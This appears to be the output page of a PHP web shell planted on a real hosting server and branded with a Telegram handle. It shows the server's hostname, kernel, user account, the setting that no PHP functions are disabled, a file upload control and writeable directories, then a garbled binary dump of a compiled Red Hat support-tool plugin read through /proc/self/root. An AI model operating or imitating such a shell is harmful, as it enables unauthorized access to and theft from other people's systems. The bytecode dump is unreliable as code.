https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyo
�
��Tc@s�ddlmZddlmZmZddlmZmZddlm	Z	m
Z
ddlmZddl
mZddlZddlZddljjZddlZdZejd	�Zd
e	fd��YZdS(i����(tdeque(tRequestErrortConnectionError(tEmptyValueErrort_(tInteractivePlugint
DisplayOption(t	Constants(tcommonNs%Keith Robertson <kroberts@redhat.com>sredhat_support_tool.plugins.kbtKbcBs�eZdZed�ZdZdZdZe	d��Z
e	d��Ze	d��Zd�Z
d�Zd�Zd�Zd	�Zd
�Zd�Zdd�Zd
�Zd�ZRS(tkbsDisplay all sectionscCs
td�S(s�
        The usage statement that will be printed by OptionParser.

        Example:
            - %prog -c CASENUMBER [options] <comment text here>
        Important: %prog is a OptionParser built-in.  Use it!
        s"%prog <knowledge base solution ID>(R(tcls((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyt	get_usage*s	cCstd�|jS(s�
        The description statement that will be printed by OptionParser.

        Example:
            - 'Use the '%s' command to add a comment to a case.'             % cls.plugin_name
        s<Use the '%s' command to find a knowledge base solution by ID(Rtplugin_name(R((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pytget_desc5s		cCstd�|jS(s
        The epilog string that will be printed by OptionParser.  Usually
        used to print an example of how to use the program.

        Example:
         Examples:
          - %s -c 12345678 Lorem ipsum dolor sit amet, consectetur adipisicing
          - %s -c 12345678
        sExample:
  - %s 63568(RR
(R((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyt
get_epilogAs	cCs
td�S(NsN
Type the number of the section to view or 'e' to return to the previous menu.(R(tself((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pytget_intro_textOscCs
td�S(Ns	Section: (R(R((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pytget_prompt_textSscCs|jS(N(t
_submenu_opts(R((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pytget_sub_menu_optionsVscCs�td�|j|jf}d|_|jrA|jd|_nztj�r�ttd��}|dkrwt��nt	|�j
�}t	|�j
�r�||_q�n|GHt|��dS(NsTERROR: %s requires a knowledge base solution ID. Try 'help %s' for more information.is@Please provide the knowledge base solution ID (or 'q' to exit): tq(RR
tNonet
solutionIDt_argsRtis_interactivet	raw_inputt	Exceptiontstrtstrip(Rtmsgtline((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyt_check_solution_idYs	
		cCs|j�dS(N(R (R((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyt
validate_argsnscCs�d}t�|_i|_d}y@tj�}|jj|j�}|j	|�s`t
��nWnAt
k
r�y4|jj|j�}|j|�s�t
��nWq�t
k
r�}td�t|�}|GHtjtj|��q�tk
r+}td�|j}|GHtjtj|��q�tk
rbtd�}|GHtjtj|��q�t
k
r�td�|j}|GHtjtj|��q�XnXdS(Ns	ERROR: %ss5Unable to connect to support services API. Reason: %ssZProblem connecting to the support services API.  Is the service accessible from this host?s$Unable to find a KB with an ID of %s(RRRt	_sectionst	apihelpertget_apit	solutionstgetRt_parse_solution_sectionsRtarticlest_parse_article_sectionsRRRtloggertlogtloggingtWARNINGRtreasonR(Rt	kb_objecttapiteveRtre((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pytpostinitrsH	
	


	
cCs�d}x7|jD],}|j|jkr||j|7}qqWy|jdd�GHWnItk
r�}tjtj	|�ddl
}|j|j�d�GHnXdS(NusUTF-8treplacei����(Rtdisplay_texttALLR"tencodeRR*R+R,R-tsystgetdefaultencoding(RtdoctoptteR8((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pytnon_interactive_action�scCs�|j|jkrtd}x7|jD],}|j|jkr"||j|7}q"q"Wtj|jdd�dd�n,|j|}tj|jdd�dd�dS(NusUTF-8R4tcmdsless -R(R5R6RR"tpydoct	pipepagerR7(Rtdisplay_optionR:R;((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pytinteractive_action�s

c
Cs|s
tSy�d}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|j�7}|dtj	|j
�f7}|jdtj
�}ttjd�}|jj|�||j|<|j�}|dk	r�|j�dk	r�d}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|j�7}ttjd�}|jj|�||j|<n|j�}|dk	r[|j�dk	r[d}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|j�7}ttjd�}|jj|�||j|<n|j�}|dk	r|j�dk	rd}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|j�7}ttjd�}|jj|�||j|<n|j�}|dk	r�|j�dk	r�d}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|j�7}ttjd�}|jj|�||j|<n|j�}|dk	r�|j�dk	r�d}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|j�7}ttjd�}|jj|�||j|<nt|jd�}|jj|�d|j|<Wn,td�}	|	GHt j!t"j#|	�tSXt$S(	Nus
%s%s%s
s%s%s%s
s%s
s
%-10s  %s
s
RBs$ERROR: problem parsing the solution.(%tFalseRtBOLDtTITLEtENDRtrulertMAX_RULEt	get_titletURLtget_view_uriR4tostlinesepRRtappendR"t	get_issueRtget_texttISSUEtget_environmenttENVtget_resolutiont
RESOLUTIONt
get_rootCauset
ROOT_CAUSEtget_internalDiagnosticStepstDIAGR6RR*R+R,R-tTrue(
RtsolR:tdisp_opttissuetenvtrestrctdiagR((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyR'�s�		
												cCs�|s
tSy�d}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|j�7}|dtj	|j
�f7}ttjd�}|jj
|�||j|<|j�}|red}|dtjtjtjf7}|dtjt|jtj�tjf7}|d|7}ttjd�}|jj
|�||j|<nt|jd�}|jj
|�d|j|<Wn,td�}|GHtjtj|�tSXtS(Nus
%s%s%s
s%s%s%s
s%s
s
%-10s  %s
RBs#ERROR: problem parsing the article.(RCRRDRERFRRGRHRIRJRKRRRNR"tget_bodyRQR6RRR*R+R,R-RZ(RtartR:R\tbodyR((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyR))sN		
				N(t__name__t
__module__R
RR6RRR"RtclassmethodRRRRRRR R!R3R=RBR'R)(((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyR	#s$						(		p(tcollectionsRt(redhat_support_lib.infrastructure.errorsRRt(redhat_support_tool.helpers.confighelperRRtredhat_support_tool.pluginsRRt%redhat_support_tool.helpers.constantsRtredhat_support_tool.helpersRRLR?t%redhat_support_tool.helpers.apihelperthelpersR#R,t
__author__t	getLoggerR*R	(((sB/usr/lib/python2.7/site-packages/redhat_support_tool/plugins/kb.pyt<module>s

https://t.me/AnonymousX5 - 2025